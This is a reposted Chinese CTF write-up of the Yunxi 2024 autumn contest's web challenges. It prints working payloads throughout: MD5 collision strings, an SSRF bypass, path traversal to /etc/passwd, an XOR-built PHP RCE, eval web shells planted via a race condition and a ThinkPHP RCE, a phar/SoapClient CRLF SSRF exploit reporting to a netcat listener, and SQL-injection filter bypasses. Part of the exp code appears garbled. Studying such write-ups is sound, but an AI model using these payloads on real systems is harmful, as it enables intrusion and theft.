您的位置:首页 > 游戏 > 游戏 > 云曦2024秋季开学考

云曦2024秋季开学考

2024/12/23 4:10:20 来源:https://blog.csdn.net/2301_80913334/article/details/141995311  浏览:    关键词:云曦2024秋季开学考

ezezssrf

第一关:md5弱比较

yunxi%5B%5D=1&wlgf%5B%5D=2

第二关: md5强比较

需要在bp中传参,在hackbar里不行

yunxii=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DC

V%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%

93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

wlgff=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV

%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%9

3%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第三关:ssrf

GLG=http://blog.csdn.net@127.0.0.1

第四关:无回显命令执行

运用tee命令或者>写入文件

cmd=cat /flag | tee 1.txt

完整payload:

yunxi%5B%5D=1&wlgf%5B%5D=2&yunxii=M%C9h%FF%0E%E3%5C%20%95r%D4w%7B

r%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00

%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&wlgff=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&GLG=http://blog.csdn.net@127.0.0.1&cmd=cat /flag | tee 1.txt

小小py

点击图片能够下载,用bp抓包

发现图片的下载路径

尝试利用这个路径查看文件,发现不能直接回显

尝试用目录穿越查看一下/etc/passwd发现成功回显

接着查看当前进程运行的环境变量/proc/self/environ,发现flag

学习高数

用dirsearch等工具扫描没发现注入点

根据提示

访问发现是原页面,用bp抓包进行页面爆破

发现一个不同的页面

访问cvFXZohgjf.php

限制了payload长度并且禁用一堆符号

原payload:

?c=$pi=_GET;$pi=$$pi;$pi[0]($pi[1])&0=system&1=cat /flag

这里我们可以利用异或得到更多的字符构造

用脚本利用白名单里的函数生成可用字符

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){for($i = 0;$i < 9; $i++){for($j = 0;$j <=9;$j++){$exp = $payload[$k] ^ $i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo "\n";}}
}

将得到的结果放入记事本搜索需要构造的字符

$pi=_GET->$pi=(is_nan^(6).(4)).(tan^(1).(5))

$$pi->$_GET

由于[]被禁用所以可以用{}

完整payload:

$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

 payload得到flag(这里的flag环境有问题)

你能跟上我的speed吗

随便上传文件后发现都只是一张图片

根据题目的speed可以猜测一下可能是条件竞争

上传文件写入一句话木马:

<?php $op=fopen("shell.php","a+");fwrite($op,'<?php @eval($_POST[cmd]);?>');fclose($op);echo(333) ?>

抓包上传文件的请求并发送到intruder

抓包访问上传文件的路径

两处的payload type都设为null payloads,payload setting选择Continue indefinitely(无限循环抓包)

两边同时爆破,在文件上传路径页面爆到显示333页面停止

发送到repeater,更改1.php为shell.php,访问成功

 用蚁剑连接

找到flag

文件上传

参考:SUCTF2019 upload-lab2

题目给了源码首先代码审计

首先找获得flag的点

//admin.php

需要触发__wakeup()魔术方法,触发__wakeup()需要触发反序列化

//class.php

在getMIME方法中可以发现一个finfo_file可用于触发phar的反序列化

补:finfo_file/finfo_buffer/mime_content_type

均通过_php_finfo_get_type间接调用了关键函数php_stream_open_wrapper_ex,导致均可以使用phar://触发 phar 反序列化

//func.php

func.php接受一个url参数,参数经过一个正则,会去你上传的目录找你上传的文件,获取MIME返回。

在func.php的源码中可以发现$file->getMIME();所以只需要我们上传phar文件后func.php会找到上传文件触发getMIME触发phar的反序列化

从而触发admin.php里的命令执行,接着就需要实例化Ad类

//admin.php

可以发现Ad类的实例化$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);

但是要实例化Ad类,必须是127.0.0.1访问,所以需要用ssrf构造

//class.php

在class.php的__wakeup()方法下可以发现利用点

通过反射初始化了一个类并调用了admin.php里的check方法

//admin.php

这段代码的主要作用是通过反射机制来实现动态调用类的方法,可以用于灵活地处理不同的类和方法调用。

补:使用SoapClient反序列化+CRLF可以生成任意POST请求

Deserialization + SoapClient + CRLF = SSRF

  • Deserialization(反序列化)‌:在PHP中,$_SESSION数据在存储时会被序列化和反序列化。如果PHP在反序列化存储的$_SESSION数据时使用的处理器和序列化时使用的处理器不同,这可能导致数据无法正确反序列化,通过特殊的伪造,甚至可以伪造任意数据。

  • SoapClient‌:SoapClient是PHP的一个内置类,用于发送SOAP请求。通过特定的方法调用,可以触发SoapClient的__call魔术方法,进而利用SoapClient发送HTTP请求。这为利用SoapClient进行SSRF攻击提供了可能。

  • CRLF Injection‌:CRLF注入漏洞允许攻击者在HTTP响应头中注入换行符,进而控制HTTP响应的内容。在HTTP协议中,HTTP响应头与HTTP响应体通过CRLF(回车符和换行符)分隔。通过控制这些字符,攻击者可以注入会话Cookie或HTML代码,实现HTTP响应分割(HTTP Response Splitting,HRS)攻击。

参考文章:https://zhuanlan.zhihu.com/p/80918004

所以如果我们利用class.php的__wakeup()将类名改为SoapClient,调用check方法时就会去调用__call方法,实现SSRF

总结该题的主要知识点:phar反序列化 、ssrf(SoapClient反序列化+CRLF漏洞)

exp:

<?php
$phar = new Phar('a.phar');
$phar->startBuffering();    //开始写入内容
$phar->addFromString('a.txt', 'text');     //添加要一起加入phar归档的文件(文件名+内容)    
$phar->setStub('GIF89a'.' __HALT_COMPILER();'); //设置stub 绕过<?php检测
//$phar->setStub('<script language="php">__HALT_COMPILER();</script>');class File
{public $file_name = "";    //file_name为一个数组public $func = "SoapClient";    //将类名改为SoapClientfunction __construct(){$target = "http://127.0.0.1/admin.php";    //构造127.0.0.1$post_string = 'admin=1&ip=your_ip&port=7777&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=' . "\r\n";    //构造HTTP POST请求的主体内容$headers = [];    //定义一个空数组$this->file_name = [null,array('location' => $target,'user_agent' => str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . 'Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string),'uri' => 'hello')];    //将 HTTP 请求的参数和头部信息构建成一个数组;CRLF漏洞的注入}            
}$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);    //序列化内容,这里内部相当于调用了serialize函数
$phar->stopBuffering();     //停止写入,签名自动计算

'location' => $target, 'user_agent' =>  'xxxxx\r\nContent-Type: application/x-www-form-urlencoded\r\n' . join('\r\n', headers).′Content−Length:′.(string)strlen(headers).′Content−Length:′.(string)strlen(post_string) . '\r\n\r\n' . $post_string), 'uri' => 'hello 

然后在func.php页面访问上传文件,由于不能直接用phar://,所以可以用php://filter来绕过

php://filter/resource=phar://upload/13c70ceb0ed6069bbd54be4d3fa363dc/394659692a460258b45a99f1424ea357.jpg 

提交前在自己的服务器打开监听端口(这里设置的是7777)

nc -lvvp 7777

 提交后即可在服务器看到flag,由于这题题目有问题所以最后监听不到flag

真正的hacker!

进入是一个thinkphp搭建的页面

用ThinkphpGUI扫描

发现存在5.0.23版本的rce漏洞

根据页面提供的payload可以得到flag1

可以发现flag1给了一个提示“命令执行只能得到flag1,真正的渗透大师热衷于getshell”,说明flag2需要getshell后才能得到。

选择版本后发现不能直接getshell

尝试一下反弹shell发现也不行,所以这里我们只能利用命令执行木马得到flag

查看当前路径

ls查看上传路径

故需要将木马文件上传至/var/www/public/uploads/

构造一句话木马

echo "PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==" | base64 -d > /var/www/public/uploads/shell.php

(如果木马写入错了用rm uploads/shell.php删除文件后重新生成写入)

用蚁剑连接

找到flag

sssssssssssssssssssql 

看见一个登入界面尝试一下用户:admin 密码:123456

发现登入失败,尝试一下sql注入

用户:admin’ or 1=1--+ 密码:123456

发现返回非法字符说明存在sql注入但是有字符被禁用了

用sql过滤字典看看过滤的字符有哪些

可以发现--+、=、union、sleep、/**/、like、空格、where、format、for、information_schema.tables等字符都被禁用了

根据没被禁用的字符构造payload

a'or(1<>2)#

(1<>2):这是一个条件表达式,表示 1 不等于 2,这个条件总是为真。

#:--+

发现成功注入

由于a'用户为假而(1<>2)判定为真用or连接所以返回为真,如果是(1<>1)为假返回也是假

所以可以判断出这题是一个布尔盲注

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com